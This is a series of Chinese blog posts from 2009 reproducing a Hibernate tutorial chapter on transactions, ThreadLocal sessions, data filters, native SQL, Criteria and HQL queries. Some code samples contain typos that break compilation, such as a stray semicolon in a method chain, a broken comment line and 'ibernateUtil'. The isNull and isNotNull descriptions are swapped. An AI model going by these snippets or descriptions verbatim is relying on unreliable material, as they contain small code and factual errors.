
    </session-factory>

</hibernate-configuration>

使用配置文件注册事件监听器虽然方便,但也有不利之处,通过配置文件注册的监听器不能共享实例。如果多个<listener/>元素中使用了相同的类,则每一个引用都将产生一个新的拦截器实例。如果需要在多个事件之间共享监听器的实例,则必须使用编程方式注册事件监听器。

注意:虽然监听器类实现了特定监听器的接口,在注册的时候还要明确指出注册的事件。这是因为一个类可能实现多个监听器的接口,注册时明确指定要监听的事件,可以使得启用或者禁用某个事件监听的配置工作更简单。

posted @ 2009-07-19 09:42 jadmin 阅读(80) | 评论 (0)编辑 收藏

4.7 事 务控 制

每个业务逻辑方法都是由一系列的数据库访问完成,这一系列的数据访问可能会修改多条数据记录,这系列的修改应该是一个整体,绝不能仅修改其中的几条。也就是说,多个数据库原子访问应该绑定成一个整体——这就是事务。事务是一个最小的逻辑执行单元,整个事务不能分开执行,要么同时执行,要么同时放弃执行。

4.7.1 事务的概念

事务是一步或几步基本操作组成的逻辑执行单元,这些基本操作作为一个整体执行单元,它们要么全部执行,要么全部取消,绝不能仅仅执行部分。一般而言,每次用户请求,对应一个业务逻辑方法,一个业务逻辑方法往往具有逻辑上的原子性,应该使用事务。例如,一个转账操作,对应修改两个账户的余额,这两个账户的修改要么同时生效,要么同时取消——同时生效是转账成功,同时取消是转账失败;但不可只修改其中一个账户,那将破坏数据库的完整性。

通常来讲,事务具备如下4个特性:原子性(atomicity)、一致性(consistency)、隔离性(isolation)和持续性(durability)。这4个特性也简称为ACID性。

   ● 原子性:事务是应用中最小执行单位,就如原子是自然界最小颗粒,具有不可再分的特征一样。事务是应用中不可再分的最小逻辑执行体。

   ● 一致性:事务执行的结果,必须使数据库从一个一致性状态,变到另一个一致性状态。当数据库只包含事务成功提交的结果时,数据库处于一致性状态。如果系统运行发生中断,某个事务尚未完成而被迫中断,而该未完成的事务对数据库所做的修改已被写入数据库,此时,数据库就处于一种不正确的状态。比如银行在两个账户之间转账,从A账户向B账户转入1000元。系统先减少A账户的1000元,然后再为B账户增加1000元。如果全部执行成功,数据库处于一致性状态。如果仅执行完A账户金额的修改,而没有增加B账户的金额,则数据库就处于不一致性状态。因此,一致性是通过原子性来保证的。

   ● 隔离性:各个事务的执行互不干扰,任意一个事务的内部操作对其他并发的事务,都具有隔离性。也即并发执行的事务之间不能互相影响。

   ● 持续性:持续性也称为持久性(persistence),指事务一旦提交,对数据所做的任何改变,都要记录到永久存储器中,通常保存进物理数据库。

4.7.2 Hibernate的事务

Hibernate直接使用JDBC连接和JTA资源,不添加任何附加锁定行为。Hibernate只添加自动版本管理,而不会锁定内存中的对象,也不会改变数据库事务的隔离级别。基本上,使用 Hibernate就好像直接使用JDBC(或者JTA/CMT)进行数据库访问。

Hibernate中SessionFactory对象的创建代价很高,它是线程安全的对象,被设计成可以为所有的应用程序线程所共享。通常,SessionFactory会在应用程序启动时创建,一旦创建了SessionFactory将不会轻易关闭,只有当应用关闭时,SessionFactory才会关闭。

而Session的对象是轻量级的,它也是线程不安全的。对于单个业务进程单个工作单元而言,Session只被使用一次。创建Session时,并不会立即打开与数据库之间的连接,Session只在需要进行数据库操作时,才会获取JDBC连接。因此,打开和关闭Session,并不会对性能造成很大的影响。甚至即使无法确定一个请求是否需要数据访问,也可以打开Session对象,因为如果不进行数据库访问,Session不会获取JDBC连接。

相反,数据库事务应该尽可能的短。从而,降低数据库锁定造成的资源争用。数据库长事务会导致应用程序无法承载高并发的负荷。

由上面的介绍可知,Hiberante的Session和事务是紧密相关的,因为事务是通过Session来打开的。那么事务的范围是多大?单个Session可以跨越多个数据库事务吗?事务和Session的对应关系又如何呢?下面将介绍Hibernate Session和事务的关系。

4.7.3 事务和Session

数据库操作必须在Hibernate的Session管理下进行,但不推荐因为一次简单的数据库原子调用,就打开和关闭一次Session,数据库事务也是如此。因为,对于一次原子操作打开的事务没有任何意义——事务应该是将多个操作步骤组合成一个逻辑整体。

事务是按顺序发送并组成一个逻辑整体的原子操作单元。

注意:也就是说单个的SQL语句发送之后,自动事务提交模式失效了。这种自动提交模式仅为SQL控制台设计,在实际项目没有太大的实用价值。Hibernate禁止事务立即自动提交模式,或者让应用服务器禁止事务自动提交。

通常,建议每个请求对应一个Session。在这种模式下,来自客户端的请求被发送到服务器端,此处可能对应一个业务逻辑方法。在这个业务逻辑方法内,一个新的Hibernate Session被打开,然后开始事务,在事务内执行这个操作单元中所有的数据库操作。一旦操作完成,需要发送给客户端的响应也准备就绪。此时,提交事务,然后关闭Session。在这种模式下,Session和用户请求是一对一的关系,这是一种理想的Session管理模式。

为了达到这种效果,推荐使用一个ThreadLocal变量,把Session绑定到处理客户端请求的线程上去。这种方式可以让运行在该线程上的所有程序代码轻松地访问Session。也可以在一个ThreadLocal变量中保持事务上下文环境,不过这依赖于所选择的数据库事务划分机制。这种实现模式被称之为ThreadLocal Session和Open Session in View。

下面是一个HibernateUtil类,该类将Hibernate Session存放在一个ThreadLocal变量中,对于同一个线程的请求,将可以轻松访问该Session。

public class HibernateUtil

{

    public static final SessionFactory sessionFactory;

    //静态初始化块,使用该类时使用该代码块

    static

    {

        try

        {

            //采用默认的hibernate.cfg.xml来启动一个Configuration的实例

            Configuration configuration=new Configuration().configure();

            //由Configuration的实例来创建一个SessionFactory实例

            sessionFactory = configuration.buildSessionFactory();

        }

        catch (Throwable ex)

        {

            System.err.println("初始化sessionFactory失败." + ex);

            throw new ExceptionInInitializerError(ex);

        }

    }

    //ThreadLocal是隔离多个线程的数据共享,不存在多个线程之间共享资源,因此不再需要

    对线程同步

    public static final ThreadLocal session = new ThreadLocal();

    //该方法用于获取当前线程的Session对象

    public static Session currentSession() throws HibernateException

    {

        Session s = (Session) session.get();

        //如果该线程还没有Session,则创建一个新的Session

        if (s == null)

        {

            s = sessionFactory.openSession();

            //将获得的Session变量存储在ThreadLocal变量的Session里

            session.set(s);

        }

        return s;

    }

    //该方法用于关闭当前线程里的Session

    public static void closeSession() throws HibernateException

    {

        Session s = (Session) session.get();

        if (s != null)

            s.close();

        session.set(null);

    }

}

在上面的代码中,Hibernate Session被绑定到当前线程。当调用currentSession方法时,如果当前线程中的Session已经创建出来,那么将返回这个已经存在的Session实例。

每次请求对应一个Session的模式不仅可以用于设计操作单元,甚至很多业务处理流程都需要组合一系列的用户操作,即用户对数据库的交叉访问。

但是,对于企业应用,跨用户交互的数据库事务是无法接受的。例如,在第一个页面,用户打开对话框,打开一个特定Session装入的数据,可以随意修改对话框中的数据,修改完成后,将修改结果存入数据库。

从用户的角度来看,这个操作单元被称为应用程序长事务。在一个J2EE应用实现中,可以有很多方法来实现这种应用程序长事务。

一个比较差的做法是,当用户思考时,应用程序保持Session和数据库事务是打开的,并保持数据库锁定,以阻止并发修改,从而保证数据库事务隔离级别和原子操作。这种数据库锁定会导致应用程序无法扩展并发用户的数目。

因此,不要使用每个应用对应一次Hibernate Session的模式,也不要使用每次Http Session对应一次Hibernate Session的模式。

注意:几乎所有情况下,都不要使用每个应用对应一次Hibernate Session的模式,也不要使用每次Http Session对应一次Hibernate Session的模式。

对于这种情况,Hibernate主要有如下两种模式来解决这个问题:

   ● 脱管对象,如果采用每次用户请求对应一次Session的模式。那么,前面载入的实例在用户思考的过程中,始终与Session脱离,处于脱管状态。都处于与Session脱离的状态。Hibernate允许把脱管对象重新关联到Session上,并且对修改进行持久化。在这种模式下,自动版本化被用来隔离并发修改。这种模式也被称为使用脱管对象的每个请求对应一个Hibernate Session。

   ● 长生命周期Session,Session可以在数据库事务提交之后,断开和底层的JDBC连接。当新的客户端请求到来时,它又重新连接上底层的JDBC连接。这种模式被称为每个应用程序事务对应一个Session,因为应用程序事务相当长(跨越多个用户请求),所以也被称为每次应用事务对应一个Hibernate Session。

posted @ 2009-07-19 09:11 jadmin 阅读(77) | 评论 (0)编辑 收藏

数据过滤并不是一种常规的数据查询方法,而是一种整体的筛选方法。数据过滤也可对数据进行筛选,因此,将其放在Hibernate的数据查询框架中介绍。

如果一旦启用了数据过滤器,则不管数据查询,还是数据加载,该过滤器将自动作用于所有数据,只有满足过滤条件的记录才会被选出来。

过滤器与定义在类和集合映射文件上的“where”属性非常相似。它们的区别是过滤器可以带参数,应用程序可以在运行时决定是否启用指定的过滤器,以及使用什么样的参数值。而映射文件上的“where”属性将一直生效,且无法动态传入参数。

过滤器的用法很像数据库视图,区别是视图在数据库中已经定义完成,而过滤器则还需在应用程序中确定参数值。

过滤器的使用分成三步:

(1)定义过滤器。使用filter-def元素定义过滤器;

(2)使用过滤器。使用filter元素使用过滤器;

(3)在代码中启用过滤器。

前两个步骤都是在Hibernate的映射文件中完成的,其中filter-def是hibernate-mapping元素的子元素,而filter元素是class集合元素的子元素。

filter-def元素用于定义一个过滤器,filter则将指定的过滤器应用到指定的持久化类。

一个持久化类或集合可以使用多个过滤器,而一个过滤器也可以作用于多个持久化类或集合。

看下面的映射文件示例:

<?xml version="1.0"?>

<!-- Hibernate配置文件的文件头,包含DTD等信息 -->

<!DOCTYPE hibernate-mapping

    PUBLIC "-//Hibernate/Hibernate Mapping DTD 3.0//EN"

    "http://hibernate.sourceforge.net/hibernate-mapping-3.0.dtd">

<!-- Hibernate 配置文件的根元素 -->

<hibernate-mapping >

    <!-- 每个class元素定义一个持久化类 -->

    <class name="Category" table="category">

        <!-- 定义标识属性 -->

        <id name="id" column="category_id" >

            <!-- 指定主键生成器策略 -->

            <generator class="native"/>

        </id>

        <!-- 映射name属性 -->

        <property name="name" type="string"/>

        <!-- 映射effectiveStartDate属性 -->

        <property name="effectiveStartDate" column="eff_start_date"

        type="java.util.Date"/>

        <!-- 映射effectiveEndDate属性 -->

        <property name="effectiveEndDate" column="eff_end_date"

        type="java.util.Date"/>

        <!-- 映射N-N关联属性 -->

        <set cascade="none" inverse="true" name="products"

        table="product_category">

            <!-- 定义关联属性的key,对应连接表中的外键列 -->

            <key column="category_id"/>

            <!-- 定义关联属性 -->

            <many-to-many column="product_id" class="Product"/>

        </set>

        <!-- 使用过滤器,并设置过滤器条件 -->

        <filter name="effectiveDate" condition=":asOfDate BETWEEN

        eff_start_date and eff_end_date"/>

    </class>

    <!-- 定义第二个持久化类 -->

    <class name="Product" table="product">

        <!-- 定义标识属性 -->

        <id name="id" column="product_id" >

            <!-- 指定主键生成器策略 -->

            <generator class="native"/>

        </id>

        <!-- 映射name属性 -->

        <property name="name" type="string"/>

        <!-- 映射stockNumber属性 -->

        <property name="stockNumber" column="stock_number" type="int"/>

        <!-- 映射effectiveStartDate属性 -->

        <property name="effectiveStartDate" column="eff_start_date"

        type="java.util.Date"/>

        <!-- 映射effectiveEndDate属性 -->

        <property name="effectiveEndDate" column="eff_end_date"

        type="java.util.Date"/>

        <!-- 映射N-N关联属性 -->

        <set cascade="all" name="categories" fetch="join"

        table="product_category" >

            <!-- 定义关联属性的key,对应连接表中的外键列 -->

            <key column="product_id"/>

            <!-- 定义关联属性 -->

            <many-to-many column="category_id"

                        class="Category" fetch="join">

                <!-- 对关联属性使用第一个过滤器 -->

                <filter name="effectiveDate"

                    condition=":asOfDate BETWEEN eff_start_date and

                    eff_end_date"/>

                <!-- 对关联属性使用第二个过滤器 -->

                <filter name="category" condition="category_id = :catId"/>

            </many-to-many>

        </set>

        <filter name="effectiveDate" condition=":asOfDate BETWEEN

        eff_start_date AND eff_end_date"/>

    </class>

    <!-- 定义第一个过滤器,该过滤器包含一个date类型的参数 -->

    <filter-def name="effectiveDate">

        <filter-param name="asOfDate" type="date"/>

    </filter-def>

    <!-- 定义第二个过滤器,该过滤器包含一个long类型的参数 -->

    <filter-def name="category">

        <filter-param name="catId" type="long"/>

    </filter-def>

</hibernate-mapping>

在上面的配置文件中,定义了两个过滤器,过滤器的定义通过filter-def元素完成。定义过滤器时,只需要指定过滤器的名字,以及过滤器的参数即可。如Java里的一个方法声明,只有方法名和参数列表,具体的方法实现是没有的。

过滤器的过滤条件是使用过滤器时才确定的,使用过滤器通过filter元素确定,filter的condition属性用于确定过滤条件,满足该条件的记录才会被抓取到。

系统默认不启用过滤器,必须显式通过enableFilter(String filterName)才可以启用过滤器,该方法返回一个Filter实例,Filter包含setParameter方法用于为过滤器参数赋值。

一旦启用了过滤器,过滤器在整个Session内有效,所有的数据加载将自动应用该过滤条件,直到调用disableFilter方法。

看下面的使用过滤器的示例代码:

private void test() throws Exception

{

    //获取Hibernate Session对象

    Session session = HibernateUtil.currentSession();

    //开始事务

    Transaction tx = session.beginTransaction();

    //启用第一个过滤器

    session.enableFilter("effectiveDate")

            //为过滤器设置参数

            .setParameter("asOfDate", new Date());

    //启动第二个过滤器

    session.enableFilter("category")

            //为过滤器设置参数

            .setParameter("catId", new Long(2));

    //执行查询,该查询没有任何的查询条件

    Iterator results = session.createQuery("from Product as p")

                          .iterate();

    //遍历结果集

    while (results.hasNext())

    {

        Product p = (Product)results.next();

        System.out.println(p.getName());

        //此处获取Product关联的种类,过滤器也将自动应用过滤

        Iterator it = p.getCategories().iterator();

        System.out.println(p.getCategories().size());

        while (it.hasNext())

        {

            Category c = (Category)it.next();

            System.out.println(c.getName());

        }

    }

    tx.commit();

    HibernateUtil.closeSession();

}

通过使用过滤器定义常用的数据筛选规则,如果是临时的数据筛选,还是使用常规查询比较好。对于从前使用行列表达式视图的地方,此处可以考虑使用过滤器。

posted @ 2009-07-19 09:08 jadmin 阅读(108) | 评论 (0)编辑 收藏

4.5 SQL查询

Hibernate还支持使用SQL查询,使用SQL查询可以利用某些数据库的特性,或者用于将原有的JDBC应用迁移到Hibernate应用上。使用命名的SQL查询还可以将SQL语句放在配置文件中配置,从而提高程序的解耦,命名SQL查询还可以用于调用存储过程。

如果是一个新的应用,通常不要使用SQL查询。

SQL查询是通过SQLQuery接口来表示的,SQLQuery接口是Query接口的子接口,因此完全可以调用Query接口的方法:

   ● setFirstResult(),设置返回结果集的起始点。

   ● setMaxResults(),设置查询获取的最大记录数。

   ● list(),返回查询到的结果集。

但SQLQuery比Query多了两个重载的方法:

   ● addEntity,将查询到的记录与特定的实体关联。

   ● addScalar,将查询的记录关联成标量值。

执行SQL查询的步骤如下:

(1)获取Hibernate Session对象;

(2)编写SQL语句;

(3)以SQL语句作为参数,调用Session的createSQLQuery方法创建查询对象;

(4)如果SQL语句包含参数,调用Query的setXxx方法为参数赋值;

(5)调用SQLQuery对象的addEntity或addScalar方法将选出的结果与实体或标量值关联;

(6)调用Query的list方法返回查询的结果集。

看下面的SQL查询示例:

private void test()

{

    //获取Hibernate Session对象

    Session session = HibernateUtil.currentSession();

    //开始事务

    Transaction tx = session.beginTransaction();

    //编写SQL语句

    String sqlString = "select {s.*} from student s where s.name like '马军'";

    //以SQL语句创建SQLQuery对象

    List l = session.createSQLQuery(sqlString)

                    //将查询到的记录与特定实体关联起来

                    .addEntity("s",Student.class)

                    //返回全部的记录集

                    .list();

    //遍历结果集

    Iterator it = l.iterator();

    while (it.hasNext())

    {

        //因为将查询结果与Student类关联,因此返回的是Student集合

        Student s = (Student)it.next();

        Set enrolments = s.getEnrolments();

        Iterator iter = enrolments.iterator();

        while(iter.hasNext())

        {

            Enrolment e = (Enrolment)iter.next();

            System.out.println(e.getCourse().getName());

        }

    }

    //提交事务

    tx.commit();

    //关闭Session

    HibernateUtil.closeSession();

}

上面的示例显示了将查询记录关联成一个实体的示例。事实上,SQL查询也支持将查询结果转换成标量值,转换成标量值可以使用addScalar方法,如:

Double max = (Double) session.createSQLQuery("select max(cat.weight) as maxWeight from cats cat")

        .addScalar("maxWeight", Hibernate.DOUBLE);

        .uniqueResult();

使用SQL查询,如果需要将查询到的结果转换成特定实体,就要求为选出的字段命名别名。这别名不是随意命名的,而是以“/”实例名.属性名“/”的格式命名,例如:

//依次将多个选出的字段命名别名,命名别名时都以ss作为前缀,ss是关联实体的别名

String sqlStr = "select stu.studentId as {ss.studentNumber},"

        + "stu.name as {ss.name} from "

        + "student as stu where stu.name like '杨海华'";

List l = session.createSQLQuery(sqlStr)

            //将查询出的ss实例,关联到Student类

            .addEntity("ss",Student.class)

            .list();

在第一个示例中,以{s.*}代表该表的全部字段,且关联实例的别名也被指定为s。

注意:如果不使用{s.*}的形式,就可让实体别名和表别名互不相同。关联实体的类型时,被关联的类必须有对应的setter方法。

4.5.1 命名SQL查询

可以将SQL语句不放在程序中,而放在配置文件中,这种方式以松耦合的方式配置SQL语句,可以提高程序解耦。

在Hibernate的映射文件中定义查询名,然后确定查询所用的SQL语句,然后就可以直接调用该命名SQL查询。在这种情况下,不需要调用addEntity()方法,因为在配置命名SQL查询时,已经完成了查询结果与实体的关联。

下面是命名SQL查询的配置片段:

<!-- 每个sql-query元素定义一个命名SQL查询 -->

<sql-query name="mySqlQuery">

    <!-- 关联返回的结果与实体类 -->

    <return alias="s" class="Student"/>

        <!-- 定义命名SQL查询的SQL语句 -->

         SELECT {s.*}

        from student s WHERE s.name like'杨海华'

</sql-query>

sql-query元素是hibernate-mapping元素的子元素。因此,sql-query定义的名可以直接通过Session访问,上面定义的mySqlQuery查询可以直接访问,下面是使用该命名SQL查询的示例代码:

private void testNamedSQl()

{

    //获取Hibernate Session对象

    Session session = HibernateUtil.currentSession();

    //开始事务

    Transaction tx = session.beginTransaction();

    //调用命名查询,直接返回结果

    List l = session.getNamedQuery("mySqlQuery")

                         .list();

    //遍历结果集

    Iterator it = l.iterator();

    while (it.hasNext())

    {

        //在定义SQL查询时,已经将结果集与Student类关联起来

        //因此,集合里的每个元素都是Student实例

        Student s = (Student)it.next();

        Set enrolments = s.getEnrolments();

        Iterator iter = enrolments.iterator();

        while(iter.hasNext())

        {

            Enrolment e = (Enrolment)iter.next();

            System.out.println("=====================================");

            System.out.println(e.getCourse().getName());

            System.out.println("=====================================");

        }

    }

    tx.commit();

    HibernateUtil.closeSession();

}

4.5.2 调用存储过程

Hibernate 3增加了存储过程的支持,该存储过程只能返回一个结果集。

下面是Oracle 9i的存储过程示例:

CREATE OR REPLACE FUNCTION selectAllEmployments

    RETURN SYS_REFCURSOR

AS

    st_cursor SYS_REFCURSOR;

BEGIN

    OPEN st_cursor FOR

SELECT EMPLOYEE, EMPLOYER,

STARTDATE, ENDDATE,

REGIONCODE, EID, VALUE, CURRENCY

FROM EMPLOYMENT;

      RETURN st_cursor;

END;

如果需要使用该存储过程,可以先将其定义成命名SQL查询,例如:

<!-- 定义命名SQL查询,name属性指定命名SQL查询名 -->

<sql-query name="selectAllEmployees_SP" callable="true">

    <!-- 定义返回列与关联实体类属性之间的映射 -->

    <return alias="emp" class="Employment">

        <!-- 依次定义每列与实体类属性的对应 -->

        <return-property name="employee" column="EMPLOYEE"/>

        <return-property name="employer" column="EMPLOYER"/>

        <return-property name="startDate" column="STARTDATE"/>

        <return-property name="endDate" column="ENDDATE"/>

        <return-property name="regionCode" column="REGIONCODE"/>

        <return-property name="id" column="EID"/>

        <!-- 将两列值映射到一个关联类的组件属性 -->

        <return-property name="salary">

            <!-- 映射列与组件属性之间的关联 -->

            <return-column name="VALUE"/>

            <return-column name="CURRENCY"/>

        </return-property>

    </return>

    { ? = call selectAllEmployments() }

</sql-query>

调用存储过程还有如下需要注意的地方:

   ● 因为存储过程本身完成了查询的全部操作,所以调用存储过程进行的查询无法使用setFirstResult()/setMaxResults()进行分页。

   ● 存储过程只能返回一个结果集,如果存储过程返回多个结果集,Hibernate将仅处理第一个结果集,其他将被丢弃。

   ● 如果在存储过程里设定SET NOCOUNT ON,将有更好的性能表现。当然也可以没有该设定。

posted @ 2009-07-19 09:02 jadmin 阅读(1152) | 评论 (0)编辑 收藏

4.4 条 件 查 询

条件查询是更具面向对象特色的数据查询方式。条件查询可通过如下3个类完成:

   ● Criteria,代表一次查询。

   ● Criterion,代表一个查询条件。

   ● Restrictions,产生查询条件的工具类。

执行条件查询的步骤如下:

(1)获得Hibernate的Session对象。

(2)以Session对象创建Criteria对象。

(3)增加Criterion查询条件。

(4)执行Criteria的list等方法返回结果集。

看下面的条件查询示例:

private void test()

{

    //获取Hibernate Session对象

    Session session = HibernateUtil.currentSession();

    //开始事务

    Transaction tx = session.beginTransaction();

    //创建Criteria和添加查询条件同步完成

    //最后调用list方法,返回查询到的结果集

    List l = session.createCriteria(Student.class)

        //此处增加限制条件必须是Student已经存在的属性

        .add( Restrictions.gt("studentNumber" , new Long(20050231) ) )

        //如果要增加对Student的关联类的属性的限制则必须重新createCriteria()

        /如果此关联属性是集合,则只要集合里任意一个对象的属性满足下面条件

        .createCriteria("enrolments")即可

        .add( Restrictions.gt("semester" , new Short("2") ) )

        .list();

        Iterator it = l.iterator();

    //遍历查询到的记录

    while (it.hasNext())

    {

        Student s = (Student)it.next();

        System.out.println(s.getName());

        Set enrolments = s.getEnrolments();

        Iterator iter = enrolments.iterator();

        while(iter.hasNext())

        {

            Enrolment e = (Enrolment)iter.next();

            System.out.println(e.getCourse().getName());

       }

    }

    tx.commit();

    ibernateUtil.closeSession();

}

在条件查询中,Criteria接口代表一次查询,该查询本身不具备任何的数据筛选功能,Session调用createCriteria(Class clazz)方法对某个持久化类创建条件查询实例。

Criteria包含如下两个方法:

   ● Criteria setFirstResult(int firstResult),设置查询返回的第一行记录。

   ● Criteria setMaxResults(int maxResults),设置查询返回的记录数。

这两个方法与Query的这两个方法用法相似,都用于完成查询分页。

而Criteria还包含如下常用方法:

   ● Criteria add(Criterion criterion),增加查询条件。

   ● Criteria addOrder(Order order),增加排序规则。

   ● List list(),返回结果集。

Criterion接口代表一个查询条件,该查询条件由Restrictions负责产生,Restrictions是专门用于产生查询条件的工具类,它的方法大部分都是静态方法,常用的方法如下:

   ● static Criterion allEq(Map propertyNameValues),判断指定属性(由Map参数的key指定)和指定值(由Map参数的value指定)是否完全相等。

   ● static Criterion between(String propertyName,Object lo, Object hi),判断属性值在某个值范围之内。

   ● static Criterion ilike(String propertyName, Object value),判断属性值匹配某个字符串。

   ● static Criterion ilike(String propertyName, String value,MatchMode matchMode),判断属性值匹配某个字符串,并确定匹配模式。

   ● static Criterion in(String propertyName,Collection values),判断属性值在某个集合内。

   ● static Criterion in(String propertyName,Object[] values),判断属性值是数组元素的其中之一。

   ● static Criterion isEmpty(String propertyName),判断属性值是否为空。

   ● static Criterion isNotEmpty(String propertyName),判断属性值是否不为空。

   ● static Criterion isNotNull(String propertyName),判断属性值是否为空。

   ● static Criterion isNull(String propertyName),判断属性值是否不为空。

   ● static Criterion not(Criterion expression),对Criterion求否。

   ● static Criterion sizeEq(String propertyName, int size),判断某个属性的元素个数是否与size相等。

   ● static Criterion sqlRestriction(String sql),直接使用SQL语句作为筛选条件。

   ● static Criterion sqlRestriction(String sql, Object[] values, Type[] types),直接使用带参数占位符的SQL语句作为条件,并指定多个参数值。

   ● static Criterion sqlRestriction(String sql, Object value, Type type),直接使用带参数占位符的SQL语句作为条件,并指定参数值。

Order实例代表一个排序标准,Order有如下构造器:

Order(String propertyName, boolean ascending),根据propertyName排序,是否采用升序,如果后一个参数为true,采用升序排序,否则采用降序排序。

如果需要使用关联类的属性来增加查询条件,则应该对属性再次使用createCriteria方法。看如下示例:

session.createCriteria(Person.class)

    .add(Restrictions.like("name" , "dd%"))

    .createCriteria("addresses")

    .add(Restrictions.like("addressdetail" , "上海%"))

    .list();

上面的代码表示建立Person类的条件查询,第一个查询条件是直接过滤Person的属性,即选出name属性以dd开始的Person实例,第二个查询条件则过滤Person关联实例的属性,其中addresses是Person类的关联持久化类Address,而addressdetail则是Address类的属性。值得注意的是,查询并不是查询Address持久化类,而是查询Person持久化类。

注意:使用关联类的条件查询,依然是查询原有持久化类的实例,而不是查询被关联类的实例。

posted @ 2009-07-19 08:59 jadmin 阅读(137) | 评论 (0)编辑 收藏

4.3 使用HQL查询

Hibernate提供了异常强大的查询体系,使用Hibernate有多种查询方式。可以选择使用Hibernate的HQL查询,或者使用条件查询,甚至可以使用原生的SQL查询语句,此外还提供了一种数据过滤功能,这些都可用于筛选目标数据。

下面分别介绍Hibernate的4种数据筛选方法:

4.3.1 HQL查询

HQL是Hibernate Query Language的缩写,HQL的语法很像SQL的语法,但HQL是一种面向对象的查询语言。因此,SQL的操作对象是数据表和列等数据对象,而HQL的操作对象是类、实例、属性等。

HQL是完全面向对象的查询语言,因此可以支持继承和多态等特征。

HQL查询依赖于Query类,每个Query实例对应一个查询对象。使用HQL查询可按如下步骤进行:

(1)获取Hibernate Session对象;

(2)编写HQL语句;

(3)以HQL语句作为参数,调用Session的createQuery方法创建查询对象;

(4)如果HQL语句包含参数,调用Query的setXxx方法为参数赋值;

(5)调用Query对象的list等方法遍历查询结果。

看下面的查询示例:

public class HqlQuery

{

    public static void main(String[] args)throws Exception

    {

        HqlQuery mgr = new HqlQuery();

        //调用查询方法

        mgr.findPersons();

        //调用第二个查询方法

        mgr.findPersonsByHappenDate();

        HibernateUtil.sessionFactory.close();

    }

    //第一个查询方法

    private void findPersons()

    {

        //获得Hibernate Session

        Session sess = HibernateUtil.currentSession();

        //开始事务

        Transaction tx = sess.beginTransaction();

        //以HQL语句创建Query对象.

        //执行setString方法为HQL语句的参数赋值

        //Query调用list方法访问查询的全部实例

        List pl = sess.createQuery("from Person p where p.myEvents.title

        = :eventTitle")

                        .setString("eventTitle","很普通事情")

                        .list();

        //遍历查询的全部结果

        for (Iterator pit = pl.iterator() ; pit.hasNext(); )

        {

            Person p = ( Person )pit.next();

            System.out.println(p.getName());

        }

        //提交事务

        tx.commit();

        HibernateUtil.closeSession();

    }

    //第二个查询方法

    private void findPersonsByHappenDate()throws Exception

    {

        //获得Hibernate Session对象

        Session sess = HibernateUtil.currentSession();

        Transaction tx = sess.beginTransaction();

        //解析出Date对象

        SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd");

        Date start = sdf.parse("2005-01-01");

        System.out.println("系统开始通过日期查找人" + start);

        //通过Session的createQuery方法创建Query对象

        //设置参数

        //返回结果集

        List pl = sess.createQuery(

            "from Person p where p.myEvents.happenDate between :firstDate

            and :endDate")

                        .setDate("firstDate",start)

                        .setDate("endDate",new Date())

                        .list();

        //遍历结果集

        for (Iterator pit = pl.iterator() ; pit.hasNext(); )

        {

            Person p = ( Person )pit.next();

            System.out.println(p.getName());

        }

        tx.commit();

        HibernateUtil.closeSession();

    }

}

通过上面的示例程序,可看出查询步骤基本相似。Query对象可以连续多次设置参数,这得益于Hibernate Query的设计。

通常,setXxx方法的返回值都是void,但Hibernate Query的setXxx方法返回值是Query本身。因此,程序通过Session创建Query后,直接多次调用setXxx方法为HQL语句的参数赋值,再直接调用list方法返回查询到的全部结果即可。

Query还包含两个方法:

   ● setFirstResult(int firstResult),设置返回的结果集从第几条记录开始。

   ● setMaxResults(int maxResults),设置本次查询返回的结果数。

这两个方法用于实现Hibernate分页。

下面简单介绍HQL语句的语法。

HQL语句本身是不区分大小写的。也就是说,HQL语句的关键字和函数都是不区分大小写的。但HQL语句中所使用的包名、类名、实例名和属性名都区分大小写。

4.3.2 HQL查询的from子句

from子句是最简单的HQL语句,也是最基本的HQL语句。from关键字后紧跟持久化类的类名。例如:

from Person

表明从Person持久化类中选出全部的实例。

大部分时候,推荐为该Person的每个实例起别名。例如:

from Person as p

在上面的HQL语句中,Person持久化类中的实例的别名为p,既然 p是实例名,因此也应该遵守Java的命名规则:第一个单词的首字母小写,后面每个单词的首字母大写。

命名别名时,as关键字是可选的,但为了增加可读性,建议保留。

from后还可同时出现多个持久化类,此时将产生一个笛卡儿积或跨表的连接。

4.3.3 HQL查询的select子句

select子句用于确定选择出的属性,当然select选择的属性必须是from后持久化类包含的属性。例如:

select p.name from Person as p

select可以选择任意属性,不仅可以选择持久化类的直接属性,还可以选择组件属性包含的属性,例如:

select p.name.firstName from Person as p

select也支持将选择出的属性存入一个List对象中,例如:

select new list(p.name , p.address) from Person as p

甚至可以将选择出的属性直接封装成对象,例如:

select new ClassTest(p.name , p.address) from Person as p

前提是ClassTest支持p.name和p.address的构造器,假如p.name的数据类型是           String,p.address的数据类型是String,则ClassTest必须有如下的构造器:

ClassTest(String s1, String s2)

select还支持给选中的表达式命名别名,例如:

select p.name as personName from Person as p

这种用法与new map结合使用更普遍。如:

select new map(p.name as personName) from Person as p

在这种情形下,选择出的是Map结构,以personName为key,实际选出的值作为value。

4.3.4 HQL查询的聚集函数

HQL也支持在选出的属性上,使用聚集函数。HQL支持的聚集函数与SQL完全相同,有如下5个:

   ● avg,计算属性平均值。

   ● count,统计选择对象的数量。

   ● max,统计属性值的最大值

   ● min,统计属性值的最小值。

   ● sum,计算属性值的总和。

例如:

select count(*) from Person

select max(p.age) from Person as p

select子句还支持字符串连接符、算术运算符以及SQL函数。如:

select p.name || "" || p.address from Person as p

select子句也支持使用distinct和all关键字,此时的效果与SQL中的效果完全相同。

4.3.5 多态查询

HQL语句被设计成能理解多态查询,from后跟的持久化类名,不仅会查询出该持久化类的全部实例,还会查询出该类的子类的全部实例。

如下面的查询语句:

from Person as p

该查询语句不仅会查询出Person的全部实例,还会查询出Person的子类,如Teacher的全部实例,前提是Person和Teacher完成了正确的继承映射。

HQL支持在from子句中指定任何Java类或接口,查询会返回继承了该类的持久化子类的实例或返回实现该接口的持久化类的实例。下面的查询语句返回所有被持久化的对象:

from java.lang.Object o

如果Named接口有多个持久化类,下面的语句将返回这些持久化类的全部实例:

from Named as n

注意:后面的两个查询将需要多个SQL SELECT语句,因此无法使用order by子句对结果集进行排序,从而,不允许对这些查询结果使用Query.scroll()方法。

4.3.6 HQL查询的where子句

where子句用于筛选选中的结果,缩小选择的范围。如果没有为持久化实例命名别名,可以直接使用属性名引用属性。

如下面的HQL语句:

from Person where name like 'tom%'

上面HQL语句与下面的语句效果相同:

from Person as p where p.name like "tom%"

在后面的HQL语句中,如果为持久化实例命名了别名,则应该使用完整的属性名。两个HQL语句都可返回name属性以tom开头的实例。

